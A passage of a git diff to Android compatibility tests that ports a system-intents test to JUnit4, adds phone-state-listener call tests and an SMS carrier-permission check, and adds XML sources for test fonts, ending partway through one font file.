index 573e2ee..77b28a4 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test android-support-test
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index c572629..086f2cb 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -16,6 +16,8 @@
 
 package android.systemintents.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
@@ -23,14 +25,17 @@
 import android.net.Uri;
 import android.provider.Settings;
 import android.support.test.filters.MediumTest;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
-import org.junit.Rule;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
-public class TestSystemIntents extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class TestSystemIntents {
+
     /*
      * List of activity intents defined by the system.  Activities to handle each of these
      * intents must all exist.
@@ -56,7 +61,6 @@
         }
     }
 
-    @Rule
     private final IntentEntry[] mTestIntents = {
             /* Settings-namespace intent actions */
             new IntentEntry(0, new Intent(Settings.ACTION_SETTINGS)),
@@ -76,7 +80,7 @@
 
     @Test
     public void testSystemIntents() {
-        final PackageManager pm = getContext().getPackageManager();
+        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
         int productFlags = 0;
 
         if (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
@@ -87,7 +91,7 @@
             productFlags |= EXCLUDE_NON_TELEPHONY;
         }
 
-        final Configuration config = getContext().getResources().getConfiguration();
+        final Configuration config = InstrumentationRegistry.getContext().getResources().getConfiguration();
         if ((config.uiMode & Configuration.UI_MODE_TYPE_WATCH) != 0) {
             productFlags |= EXCLUDE_WATCH;
         }
@@ -99,4 +103,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 93e4c65..ea29552 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -15,18 +15,21 @@
  */
 
 package android.telecom.cts;
+
 import static android.telecom.cts.TestUtils.PACKAGE;
 import static android.telecom.cts.TestUtils.TAG;
 import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
 
-import static org.hamcrest.CoreMatchers.not;
 import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.not;
 import static org.junit.Assert.assertThat;
 
 import android.content.Context;
 import android.content.Intent;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.telecom.Call;
 import android.telecom.CallAudioState;
 import android.telecom.Conference;
@@ -37,13 +40,18 @@
 import android.telecom.TelecomManager;
 import android.telecom.VideoProfile;
 import android.telecom.cts.MockInCallService.InCallServiceCallbacks;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -59,6 +67,7 @@
 
     Context mContext;
     TelecomManager mTelecomManager;
+    TelephonyManager mTelephonyManager;
 
     TestUtils.InvokeCounter mOnBringToForegroundCounter;
     TestUtils.InvokeCounter mOnCallAudioStateChangedCounter;
@@ -79,33 +88,86 @@
     String mPreviousDefaultDialer = null;
     MockConnectionService connectionService = null;
 
+    HandlerThread mPhoneStateListenerThread;
+    Handler mPhoneStateListenerHandler;
+    TestPhoneStateListener mPhoneStateListener;
+
+    static class TestPhoneStateListener extends PhoneStateListener {
+        /** Semaphore released for every callback invocation. */
+        public Semaphore mCallbackSemaphore = new Semaphore(0);
+
+        List<Pair<Integer, String>> mCallStates = new ArrayList<>();
+
+        @Override
+        public void onCallStateChanged(int state, String number) {
+            mCallStates.add(Pair.create(state, number));
+            mCallbackSemaphore.release();
+        }
+    }
+
     boolean mShouldTestTelecom = true;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
-        mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
 
         mShouldTestTelecom = TestUtils.shouldTestTelecom(mContext);
-        if (mShouldTestTelecom) {
-            mPreviousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
-            TestUtils.setDefaultDialer(getInstrumentation(), PACKAGE);
-            setupCallbacks();
+        if (!mShouldTestTelecom) {
+            return;
         }
+
+        mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+        mTelephonyManager = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+
+        mPreviousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
+        TestUtils.setDefaultDialer(getInstrumentation(), PACKAGE);
+        setupCallbacks();
+
+        // PhoneStateListener's public API registers the listener on the calling thread, which must
+        // be a looper thread. So we need to create and register the listener in a custom looper
+        // thread.
+        mPhoneStateListenerThread = new HandlerThread("PhoneStateListenerThread");
+        mPhoneStateListenerThread.start();
+        mPhoneStateListenerHandler = new Handler(mPhoneStateListenerThread.getLooper());
+        final CountDownLatch registeredLatch = new CountDownLatch(1);
+        mPhoneStateListenerHandler.post(new Runnable() {
+            @Override
+            public void run() {
+                mPhoneStateListener = new TestPhoneStateListener();
+                mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_CALL_STATE);
+                registeredLatch.countDown();
+            }
+        });
+        registeredLatch.await(
+                TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_REGISTERED_TIMEOUT_S, TimeUnit.SECONDS);
     }
 
     @Override
     protected void tearDown() throws Exception {
-        if (mShouldTestTelecom) {
-            cleanupCalls();
-            if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
-                TestUtils.setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
-            }
-            tearDownConnectionService(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
-            assertMockInCallServiceUnbound();
-        }
         super.tearDown();
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        final CountDownLatch unregisteredLatch = new CountDownLatch(1);
+        mPhoneStateListenerHandler.post(new Runnable() {
+            @Override
+            public void run() {
+                mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_NONE);
+                unregisteredLatch.countDown();
+            }
+        });
+        unregisteredLatch.await(
+                TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_REGISTERED_TIMEOUT_S, TimeUnit.SECONDS);
+        mPhoneStateListenerThread.quit();
+
+        cleanupCalls();
+        if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
+            TestUtils.setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
+        }
+        tearDownConnectionService(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+        assertMockInCallServiceUnbound();
     }
 
     protected PhoneAccount setupConnectionService(MockConnectionService connectionService,
@@ -506,6 +568,14 @@
         assertConferenceState(conference, Connection.STATE_ACTIVE);
     }
 
+    void verifyPhoneStateListenerCallbacksForCall(int expectedCallState) throws Exception {
+        assertTrue(mPhoneStateListener.mCallbackSemaphore.tryAcquire(
+                TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_CALLBACK_TIMEOUT_S, TimeUnit.SECONDS));
+        Pair<Integer, String> callState = mPhoneStateListener.mCallStates.get(0);
+        assertEquals(expectedCallState, (int) callState.first);
+        assertEquals(getTestNumber().getSchemeSpecificPart(), callState.second);
+    }
+
     /**
      * Disconnect the created test call and verify that Telecom has cleared all calls.
      */
diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index f3ffeaa..472b03b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
@@ -16,17 +16,18 @@
 
 package android.telecom.cts;
 
+import static android.telecom.cts.TestUtils.COMPONENT;
+import static android.telecom.cts.TestUtils.PACKAGE;
+
 import android.content.ComponentName;
 import android.os.Bundle;
 import android.telecom.Connection;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
 
 import java.util.Collection;
 
-import static android.telecom.cts.TestUtils.COMPONENT;
-import static android.telecom.cts.TestUtils.PACKAGE;
-
 /**
  * Tests valid/invalid incoming calls that are received from the ConnectionService
  * and registered through TelecomManager
@@ -36,12 +37,6 @@
     private static final PhoneAccountHandle TEST_INVALID_HANDLE = new PhoneAccountHandle(
             new ComponentName(PACKAGE, COMPONENT), "WRONG_ID");
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
-    }
-
     public void testAddNewIncomingCall_CorrectPhoneAccountHandle() throws Exception {
         if (!mShouldTestTelecom) {
             return;
@@ -54,6 +49,16 @@
         assertTrue(connections.contains(connection3));
     }
 
+    public void testPhoneStateListenerInvokedOnIncomingCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        verifyConnectionForIncomingCall();
+        verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_RINGING);
+    }
+
     /**
      * Tests to be sure that new incoming calls can only be added using a valid PhoneAccountHandle
      * (b/26864502). If a PhoneAccount has not been registered for the PhoneAccountHandle, then
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 38a6709..6df32f8 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -16,13 +16,12 @@
 
 package android.telecom.cts;
 
-import static android.telecom.cts.TestUtils.shouldTestTelecom;
-
 import android.content.Context;
 import android.media.AudioManager;
 import android.os.Bundle;
 import android.telecom.CallAudioState;
 import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
 
 /**
  * Verifies the behavior of Telecom during various outgoing call flows.
@@ -94,4 +93,14 @@
         }
         assertNotAudioRoute(mInCallCallbacks.getService(), CallAudioState.ROUTE_SPEAKER);
     }
+
+    public void testPhoneStateListenerInvokedOnOutgoingCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+        verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_OFFHOOK);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index 5c67190..ac717d7 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -15,8 +15,6 @@
  */
 package android.telecom.cts;
 
-import com.android.compatibility.common.util.ApiLevelUtil;
-
 import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
@@ -28,7 +26,6 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.ParcelFileDescriptor;
-import android.os.Process;
 import android.os.SystemClock;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
@@ -53,6 +50,8 @@
     static final long WAIT_FOR_STATE_CHANGE_TIMEOUT_MS = 10000;
     static final long WAIT_FOR_CALL_ADDED_TIMEOUT_S = 15;
     static final long WAIT_FOR_STATE_CHANGE_TIMEOUT_CALLBACK = 50;
+    static final long WAIT_FOR_PHONE_STATE_LISTENER_REGISTERED_TIMEOUT_S = 15;
+    static final long WAIT_FOR_PHONE_STATE_LISTENER_CALLBACK_TIMEOUT_S = 15;
 
     // Non-final to allow modification by tests not in this package (e.g. permission-related
     // tests in the Telecom2 test package.
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
index cbd18b2..748b6963 100644
--- a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
@@ -14,7 +14,7 @@
 
 LOCAL_MODULE_TAGS := optional
 LOCAL_SDK_VERSION := test_current
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_PROGUARD_ENABLED := disabled
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
index 8ffee99..74f9d13 100755
--- a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
@@ -283,6 +283,24 @@
         }
     }
 
+
+    public void testSmsNotPersisted_failsWithoutCarrierPermissions() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
+                TextUtils.isEmpty(mDestAddr));
+
+        try {
+            getSmsManager().sendTextMessageWithoutPersisting(mDestAddr, null /*scAddress */,
+                    mDestAddr, mSentIntent, mDeliveredIntent);
+            fail("We should get a SecurityException due to not having carrier privileges");
+        } catch (SecurityException e) {
+            // Success
+        }
+    }
+
     private void init() {
         mSendReceiver.reset();
         mDeliveryReceiver.reset();
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index a6404e0..4c58f8f 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -358,12 +358,12 @@
     }
 
     private void assertSerialNumber() {
-        assertNotNull("Non-telephony devices must have a Build.SERIAL number.",
-                Build.SERIAL);
+        assertNotNull("Non-telephony devices must have a Build.getSerial() number.",
+                Build.getSerial());
         assertTrue("Hardware id must be no longer than 20 characters.",
-                Build.SERIAL.length() <= 20);
+                Build.getSerial().length() <= 20);
         assertTrue("Hardware id must be alphanumeric.",
-                Pattern.matches("[0-9A-Za-z]+", Build.SERIAL));
+                Pattern.matches("[0-9A-Za-z]+", Build.getSerial()));
     }
 
     private void assertMacAddress(String macAddress) {
diff --git a/tests/tests/text/assets/ellipsis_test_font.ttf b/tests/tests/text/assets/ellipsis_test_font.ttf
new file mode 100644
index 0000000..ad0d79b
--- /dev/null
+++ b/tests/tests/text/assets/ellipsis_test_font.ttf
Binary files differ
diff --git a/tests/tests/text/assets/ellipsis_test_font.ttx b/tests/tests/text/assets/ellipsis_test_font.ttx
new file mode 100644
index 0000000..0c74b47
--- /dev/null
+++ b/tests/tests/text/assets/ellipsis_test_font.ttx
@@ -0,0 +1,238 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+    <GlyphID id="2" name="ellipsis"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x10000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="0"/>
+    <mtx name="a" width="1000" lsb="0"/>
+    <mtx name="ellipsis" width="1000" lsb="0"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" /> <!-- LATIN SMALL LETTER A -->
+      <map code="0x2026" name="ellipsis" /> <!-- HORIZONTAL ELLIPSIS -->
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="ellipsis" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+  <GPOS>
+    <Version value="0x00010000"/>
+    <ScriptList>
+      <!-- ScriptCount=1 -->
+      <ScriptRecord index="0">
+        <ScriptTag value="DFLT"/>
+        <Script>
+          <DefaultLangSys>
+            <ReqFeatureIndex value="65535"/>
+            <!-- FeatureCount=1 -->
+            <FeatureIndex index="0" value="0"/>
+          </DefaultLangSys>
+          <!-- LangSysCount=0 -->
+        </Script>
+      </ScriptRecord>
+    </ScriptList>
+    <FeatureList>
+      <!-- FeatureCount=1 -->
+      <FeatureRecord index="0">
+        <FeatureTag value="kern"/>
+        <Feature>
+          <!-- LookupCount=1 -->
+          <LookupListIndex index="0" value="0"/>
+        </Feature>
+      </FeatureRecord>
+    </FeatureList>
+    <LookupList>
+      <!-- LookupCount=1 -->
+      <Lookup index="0">
+        <LookupType value="2"/>
+        <LookupFlag value="0"/>
+        <PairPos index="0" Format="1">
+          <Coverage Format="1">
+            <Glyph value="a"/>
+            <Glyph value="ellipsis"/>
+          </Coverage>
+          <ValueFormat1 value="4"/>
+          <ValueFormat2 value="0"/>
+          <PairSet index="0">
+            <PairValueRecord index="0">
+              <SecondGlyph value="ellipsis"/>
+              <Value1 XAdvance="500"/>
+            </PairValueRecord>
+          </PairSet>
+          <PairSet index="1">
+            <PairValueRecord index="0">
+              <SecondGlyph value="a"/>
+              <Value1 XAdvance="500"/>
+            </PairValueRecord>
+          </PairSet>
+        </PairPos>
+      </Lookup>
+    </LookupList>
+  </GPOS>
+</ttFont>
diff --git a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
new file mode 100644
index 0000000..1bad6fe
--- /dev/null
+++ b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
Binary files differ
diff --git a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
new file mode 100644
index 0000000..0cf0f79
--- /dev/null
+++ b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
@@ -0,0 +1,207 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="0em"/>
+    <GlyphID id="2" name="1em"/>
+    <GlyphID id="3" name="3em"/>
+    <GlyphID id="4" name="5em"/>
+    <GlyphID id="5" name="7em"/>
+    <GlyphID id="6" name="10em"/>
+    <GlyphID id="7" name="50em"/>
+    <GlyphID id="8" name="100em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="100"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="50" lsb="0"/>
+    <mtx name="0em" width="0" lsb="0"/>
+    <mtx name="1em" width="100" lsb="0"/>
+    <mtx name="3em" width="300" lsb="0"/>
+    <mtx name="5em" width="500" lsb="0"/>
+    <mtx name="7em" width="700" lsb="0"/>
+    <mtx name="10em" width="1000" lsb="0"/>
+    <mtx name="50em" width="5000" lsb="0"/>
+    <mtx name="100em" width="10000" lsb="0"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="6" nGroups="1" platformID="3" platEncID="10" language="0">
+      <map code="0x0020" name="10em" />
+      <map code="0x002e" name="10em" />  <!-- . -->
+      <map code="0x0043" name="100em" />  <!-- C -->
+      <map code="0x0049" name="1em" />  <!-- I -->
+      <map code="0x004c" name="50em" />  <!-- L -->
+      <map code="0x0056" name="5em" />  <!-- V -->
+      <map code="0x0058" name="10em" />  <!-- X -->
+      <map code="0x005f" name="0em" /> <!-- _ -->
+      <map code="0xfffd" name="7em" /> <!-- REPLACEMENT CHAR -->
+      <map code="0x10331" name="10em" />
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
